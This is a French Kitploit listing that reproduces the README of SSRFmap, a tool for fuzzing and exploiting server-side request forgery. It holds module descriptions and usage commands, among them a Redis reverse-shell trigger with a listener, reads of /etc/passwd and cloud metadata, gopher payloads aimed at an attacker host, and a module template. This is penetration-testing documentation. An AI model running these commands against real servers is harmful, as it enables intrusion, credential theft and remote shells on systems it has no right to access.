Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SSRFmap — Outil automatique de fuzzing et d'exploitation SSRF | Kitploit
Outils/GitHubGitHub/swisskyrepo/ssrfmap
Analyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebFuzzingCTFTests d'Intrusion
GitHubswisskyrepo/ssrfmap

SSRFmap

Outil automatique de fuzzing et d'exploitation SSRF

Voir le dépôt
3.6k57059il y a 1 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SSRFmap Python 3.4+ Rawsec's CyberSecurity Inventory

Les SSRF sont souvent utilisés pour tirer parti d'actions sur d'autres services, ce framework vise à trouver et exploiter ces services facilement. SSRFmap prend un fichier de requête Burp en entrée et un paramètre à fuzzer.

La Server Side Request Forgery (SSRF) est une vulnérabilité dans laquelle un attaquant force un serveur à effectuer des requêtes en son nom.

Sommaire

  • Modules
  • Installation et Manuel
  • Exemples
  • Tests SSRFmap
  • Contribuer
    • Remerciements aux contributeurs

Modules

Les modules suivants sont déjà implémentés et peuvent être utilisés avec l'argument -m.

Télécharger l’outil
NomDescription
axfrTransferts de zone DNS (AXFR)
fastcgiRCE FastCGI
redisRCE Redis
githubRCE Github Enterprise < 2.8.7
zabbixRCE Zabbix
mysqlExécution de commande MySQL
postgresExécution de commande PostgreSQL
dockerFuites d'informations Docker via API
smtpEnvoi de mail SMTP
portscanScanne les 8000 premiers ports de l'hôte
networkscanBalayage HTTP Ping sur le réseau
readfilesLire des fichiers tels que /etc/passwd
alibabaLire des fichiers du fournisseur (ex: meta-data, user-data)
awsLire des fichiers du fournisseur (ex: meta-data, user-data)
gceLire des fichiers du fournisseur (ex: meta-data, user-data)
digitaloceanLire des fichiers du fournisseur (ex: meta-data, user-data)
socksproxyProxy SOCKS4
smbhashForcer une authentification SMB via un chemin UNC
tomcat

Installation et Manuel

  • Depuis le dépôt Github.

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ cd SSRFmap/
    $ pip3 install -r requirements.txt
    $ python3 ssrfmap.py
    
      usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                        [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                        [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
    
      optional arguments:
        -h, --help          show this help message and exit
        -r REQFILE          SSRF Request file
        -p PARAM            SSRF Parameter to target
        -m MODULES          SSRF Modules to enable
        -l HANDLER          Start an handler for a reverse shell
        -v [VERBOSE]        Enable verbosity
        --lhost LHOST       LHOST reverse shell or IP to target in the network
        --lport LPORT       LPORT reverse shell or port to target in the network
        --uagent USERAGENT  User Agent to use
        --ssl [SSL]         Use HTTPS without verification
        --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
        --level [LEVEL]     Level of test to perform (1-5, default: 1)
    
  • Docker

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ docker build --no-cache -t ssrfmap .
    $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
    $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
    

Exemples

Tout d'abord, vous avez besoin d'une requête avec un paramètre à fuzzer, les requêtes Burp fonctionnent bien avec SSRFmap. Elles devraient ressembler à ce qui suit. D'autres exemples sont disponibles dans le dossier ./examples.

root@kitploit:~
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Utilisez l'option -m suivie du nom du module (séparés par une , si vous souhaitez lancer plusieurs modules).

root@kitploit:~
# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

Si vous souhaitez injecter dans un en-tête, un paramètre GET ou POST, vous devez simplement spécifier le nom du paramètre.

root@kitploit:~
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

Si vous avez besoin d'un user-agent personnalisé, utilisez --uagent. Certaines cibles utiliseront HTTPS, vous pouvez l'activer avec --ssl.

root@kitploit:~
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Certains modules vous permettent de créer un connect back, vous devez spécifier LHOST et LPORT. SSRFmap peut également écouter pour la reverse shell entrante.

root@kitploit:~
# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

Lorsque la cible est protégée par un WAF ou certains filtres, vous pouvez essayer une large gamme de payloads et d'encodage avec le paramètre --level.

root@kitploit:~
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

Tests SSRFmap

Un moyen rapide de tester le framework peut être fait avec le service SSRF data/example.py.

  • Local

    root@kitploit:~
    FLASK_APP=examples/example.py flask run &
    python ssrfmap.py -r examples/request.txt -p url -m readfiles
    
  • Docker

    root@kitploit:~
    docker build --no-cache -t ssrfmap .
    
    # run example ssrf http service
    docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
    
    # run example ssrf dns service
    docker exec -u root:root -it example python examples/ssrf_dns.py
    
    # run ssrfmap tool
    docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
    

Lancer les requêtes de test :

root@kitploit:~
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

Contribuer

J' ❤️ les pull requests :) N'hésitez pas à ajouter toute fonctionnalité listée ci-dessous ou un nouveau service.

  • Exploitation PHP Redis
  • Module HTTP (Jenkins ?)
root@kitploit:~
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

Le code suivant est un modèle si vous souhaitez ajouter un module interagissant avec un service.

root@kitploit:~
from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

Vous pouvez aussi contribuer avec une bière IRL ou via le bouton GitHub Sponsor.

Remerciements aux contributeurs

Inspiré par

  • Comment j'ai enchaîné 4 vulnérabilités sur GitHub Enterprise, de la chaîne d'exécution SSRF au RCE ! - Orange Tsai
  • Blog sur l'outil Gopherus -SpyD3r
  • Gopherus - GitHub
  • Test SSRF - cujanovic
Attaque par force brute contre Tomcat Manager
customEnvoyer des données personnalisées à un service à l'écoute, ex: netcat
memcacheStocker des données dans l'instance memcache